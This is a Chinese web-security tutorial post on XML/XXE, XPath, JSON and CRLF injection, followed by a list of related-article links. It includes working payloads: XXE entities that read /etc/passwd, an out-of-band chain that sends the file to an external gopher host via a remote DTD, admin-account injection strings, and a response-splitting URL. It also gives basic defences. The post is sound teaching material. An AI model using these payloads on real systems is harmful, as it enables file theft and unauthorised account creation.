零、前言

  最近做专心web安全有一段时间了,但是目测后面的活会有些复杂,涉及到更多的中间件、底层安全、漏洞研究与安全建设等越来越复杂的东东,所以在这里想写一个系列关于web安全基础以及一些讨巧的payload技巧以便于备忘。不是大神、博客内容非常基础,如果真的有人看而且是大牛们,请不要喷我,欢迎指正我的错误(水平有限)。

一、XML注入:

  1、本质:

  XML是一种数据组织存储的数据结构方式,安全的XML在用户输入生成新的数据时候应该只能允许用户接受的数据,需要过滤掉一些可以改变XML标签也就是说改变XML结构插入新功能(例如新的账户信息,等于添加了账户)的特殊输入,如果没有过滤,则可以导致XML注入攻击。

  2、举例说明: 

 """
原始组织数据如下:
<USER role="guest">
<name>user1</name>
<password>uesr1</password>
<email>user1@test.com</email>
</USER>
用户本应提交的数据是user1 , user1 ,user1@test.com
如果用户提交的数据是
POST下
name = user1&passwd=user1&email=user1@test.com</email></USER><USER role="admin"><name>attack</name><password>attack</password><email>attack@test.com
就会导致生成一个新的管理员账户attack
"""
 /*
(1)有回显,直接读取文件
*/
<?php
$xml=$GET['XML'];
$data = simplexml_load_string($xml);
print_r($data);
>
/*
攻击请求get a.b.c.d?xml=<?xml version="1.0" encoding="utf-8"?><!DOCTYPE xxe [<!ELEMENT name ANY> <!ENTITY xxe SYSTEM "file:///etc/passwd">]> <root><name>&xxe;</name></root>
*/
/*
(2)引用远程server上的XML文件 读取文件
*/
/*#1.xml:
<!ENTITY % a SYSTEM "file:///etc/passwd">
<!ENTITY % b "<!ENTITY % c SYSTEM 'gopher://xxe.com%a;'>"> %b;%c
#payload
<?xml version="1.0" encoding="utf-8">
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://192.168.106.208/1.xml">
%remote;]>
*/
 <!--原始XML为:-->
<?xml version="1.0" encoding="UTF-8"?>
<adminuser>
<admin id="1">
<name>admin</name>
<password>admin</passsword>
</admin>
</adminuser>
<!--
例如攻击者可以修改password部分,则可以如下构造:
输入:
<admin></password></admin><admin id=2><name>test</name><password>test</password></admin>
那么XML文件则会变成:
-->
<?xml version="1.0" encoding="UTF-8"?>
<adminuser>
<admin id="1">
<name>admin</name>
<password>admin</passsword>
</admin>
<admin id="2">
<name>test</name>
<password>test</passsword>
</admin>
</adminuser>
<!--
增加了一个管理员权限账号。
-->

  3、危害:

    #常见攻击手段包括:

    #读取本地文件(可能包含敏感信息 /etc/shadow)

    #内存侵犯

    #任意代码执行

    #拒绝服务

  4、防御:   

    #对有改变XML结构的特殊输入进行过滤或者编码
    #filter list = ["&","<",">","'".'"',"/"]
    #在XML保存和展示之前都需要

二、Xpath注入:

  1、本质:

    #Xpath是类似SQL的一种从XML结构中搜索节点数据的语言(DSL),其注入放手就是构造完整可执行的DSL,本质与SQL注入一样。

  2、举例:    

    一般结构//nodename[ colunmname/colunmtype()="xxxxxx" and .......]
    例如:
      //USER [username/text()="admin" and password/text()="123456"]
    注入就是在引号内内容着手构造:
      例如password=> 111" or "2"="2

  3、防御:
    防御很简单,过滤特殊输入字符即可。

三、Json注入:

  1、本质:

  @json也是传输数据的一种格式,增加一个用户的json结构如下:

  {"adduser":[{"username":"admin1","password":"123456"}]},可以注入多增加一个 password=>123456"},{"username":"admin2","password":"123456

  2、防御:

    过滤关键字即可。

四、CRLF注入也叫HTTP响应截断:

  1、本质:

  也叫CRLF注入攻击。CR、LF分别对应回车(%0d)、换行(%0a)字符。HTTP头由很多被CRLF组合分离的行构成,每行的结构都是“键:值”。如果用户输入的值部分注入了CRLF字符,它就有可能改变HTTP报头结构。

  2、举例:假设数据部分是xss payload则会中招啊

 """
(1)REQUEST-METHOD : GET
URL : http://a.b.c.d/index.html?language=Chinense
RESPONSE :
HTTP/1.1 302 Moved Temporarily GMT\r\n
Date: ********
Location:http://a.b.c.d/zhcn.html
Server:******
******
(2)REQUEST-METHOD : GET
URL : http://a.b.c.d/index.html?language=Chinense%0d%0aContent- Length%3a+%0d%0a%0d%0aHTTP%2f1.1+200+OK%0d%0aContent-Type%3a%+text%2fhtml%d%0aContent-Length%3a+24%0d%0a%3chtml%3eI%e2%80%99m+hacker!%3c%2fhtml%3e
实际上就是:
Chinese
Content-Length:0 HTTP/1.1 200 OK
Content-Type:text/html
Content-Length:24 <html>I'm hacker!</html> RESPONSE :
HTTP/1.1 302 Moved Temporarily GMT\r\n
Date: ********
Location:http://a.b.c.d/zhcn.html
Content-Length:0 HTTP/1.1 200 OK
Content-Type:text/html
Content-Length:24 <html>I'm hacker!</html>
Server:******
****** 修改编码格式,避免过滤函数过滤掉常用恶意payload符号的UTF-8,GBK,Unicode编码.
等 当然可以不加新的http响应头,直接注入\r\n(CRLF)和payload 常见的容易出问题的PHP函数
header()
setcookie()
session_id()
setrawcookie() 位置:
location -> 重定向到恶意地址
set-cookie -> 把自己数据写入cookie
"""

  3、防御:

    限制用户输入的CR和LF,或者对CR和LF字符正确编码后再输出

WEB安全第五篇--其他注入的奇技淫巧:XML注入、Xpath注入、Json注入、CRLF注入的更多相关文章

  1. Web安全相关(五):SQL注入(SQL Injection)

    简介 SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据 ...

  2. Python之路【第十五篇】:Web框架

    Python之路[第十五篇]:Web框架   Web框架本质 众所周知,对于所有的Web应用,本质上其实就是一个socket服务端,用户的浏览器其实就是一个socket客户端. 1 2 3 4 5 6 ...

  3. 《手把手教你》系列技巧篇(四十五)-java+ selenium自动化测试-web页面定位toast-上篇(详解教程)

    1.简介 在使用appium写app自动化的时候介绍toast的相关元素的定位,在Web UI测试过程中,也经常遇到一些toast,那么这个toast我们这边如何进行测试呢?今天宏哥就分两篇介绍一下. ...

  4. 【Python五篇慢慢弹】快速上手学python

    快速上手学python 作者:白宁超 2016年10月4日19:59:39 摘要:python语言俨然不算新技术,七八年前甚至更早已有很多人研习,只是没有现在流行罢了.之所以当下如此盛行,我想肯定是多 ...

  5. 【Python五篇慢慢弹】数据结构看python

    数据结构看python 作者:白宁超 2016年10月9日14:04:47 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondoc ...

  6. 【Python五篇慢慢弹(3)】函数修行知python

    函数修行知python 作者:白宁超 2016年10月9日21:51:52 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondoc ...

  7. 【Python五篇慢慢弹(4)】模块异常谈python

    模块异常谈python 作者:白宁超 2016年10月10日12:08:31 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给出的pythondo ...

  8. 【Python五篇慢慢弹(5)】类的继承案例解析,python相关知识延伸

    类的继承案例解析,python相关知识延伸 作者:白宁超 2016年10月10日22:36:57 摘要:继<快速上手学python>一文之后,笔者又将python官方文档认真学习下.官方给 ...

  9. 第五篇 :微信公众平台开发实战Java版之如何获取公众号的access_token以及缓存access_token

    一.access_token简介 为了使第三方开发者能够为用户提供更多更有价值的个性化服务,微信公众平台 开放了许多接口,包括自定义菜单接口.客服接口.获取用户信息接口.用户分组接口.群发接口等, 开 ...

随机推荐

  1. Lua中的loadfile、dofile、require详解

    1.loadfile——只编译,不运行 loadfile故名思议,它只会加载文件,编译代码,不会运行文件里的代码.比如,我们有一个hellofile.lua文件: 复制代码代码如下: print(“h ...

  2. MongoDB(四):MongoDB连接和创建数据库

    在连接MongoDB前确保启动MongoDB服务,只需要在MongoDB安装目录的bin目录下执行mongo.exe即可. 执行启动操作后,mongodb在输出一些必要信息后不会输出任何信息,之后就等 ...

  3. DataGridView使用技巧十:单元格表示值的自定义

    通过CellFormatting事件,可以自定义单元格的表示值.(比如:值为Error的时候,单元格被设定为红色) 示例: private void dgv_Users_CellFormatting( ...

  4. 上手并过渡到PHP7(1)——基于Homestead的PHP7和XDdebug环境

    PHP7 up and running 泊学实操视频泊学原文链接PHP7, Xdebug and Homestead 在经历了13个RC版本之后,PHP 7终于来了.在我们上手评估PHP 7的新特性之 ...

  5. Qt 线程基础(QThread、QtConcurrent等)

    [-] 使用线程 何时使用其他技术替代线程 应该使用 Qt 线程的哪种技术 Qt线程基础 QObject与线程 使用互斥量保护数据的完整 使用事件循环防止数据破坏 处理异步执行 昨晚看Qt的Manua ...

  6. matplotlib中的legend()——用于显示图例

    legend()的一个用法: 当我们有多个 axes时,我们如何把它们的图例放在一起呢?? 我们可以这么做: import matplotlib.pyplot as plt import numpy ...

  7. 第二百九十七节,python操作redis缓存-List类型,可以理解为列表

    python操作redis缓存-List类型,可以理解为列表,是可以有重复元素的列表 List操作,redis中的List在在内存中按照一个name对应一个List来存储.如图: lpush(name ...

  8. put ListView in a ScrollView(bug fixed)

    Android: put ListView in a ScrollView   When I need to use ListView with other controls on the same ...

  9. oracle的varchar2和clob类型在hibernate中使用

    1.在oracle中 varchar2的最大长度为4000 bytes,即varchar2(4000),最多能储存2000个汉子或4000位的数字字母.当储存值超过时可以使用clob(Characte ...

  10. 【Java面试题】37 说出ArrayList,Vector, LinkedList的存储性能和特性

    ArrayList和Vector都是使用数组方式存储数据,此 数组元素数大于实际存储的数据以便增加和插入元素,它们都允许直接按序号索引元素,但是插入元素要涉及数组元素移动等内存操作,所以索引数据快而插 ...